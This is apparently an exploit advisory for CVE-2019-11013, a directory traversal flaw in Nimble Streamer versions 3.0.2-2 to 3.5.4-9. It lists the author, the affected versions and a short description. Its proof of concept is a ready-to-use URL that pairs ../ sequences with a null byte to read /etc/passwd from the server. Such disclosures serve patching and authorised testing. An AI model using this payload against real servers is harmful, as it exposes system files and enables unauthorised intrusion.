Nimble Streamer 3.x Directory Traversal

`# Nimble Streamer 3.0.2-2 to 3.5.4-9 - Path Traversal  
# Exploit Author: MAYASEVEN  
# Source at "https://mayaseven.com/nimble-directory-traversal-in-nimble-streamer-version-3-0-2-2-to-3-5-4-9/"  
# Published on 08/04/2019  
# Vendor Homepage at "https://wmspanel.com/nimble"  
# Affected Version 3.0.2-2 to 3.5.4-9  
# Tested on 3.5.4-9  
# CVE-2019-11013 Nimble Streamer 3.0.2-2 to 3.5.4-9 Path Traversal  
# Description: Nimble Streamer 3.0.2-2 through 3.5.4-9 has a ../ directory traversal vulnerability.  
# Successful exploitation could allow an attacker to traverse the file system to access  
# files or directories that are outside of the restricted directory on the remote server.  
  
  
POC :  
- http://somesite.com/demo/file/../../../../../../../../etc/passwd%00filename.mp4/chunk.m3u8?nimblesessionid=1484448  
`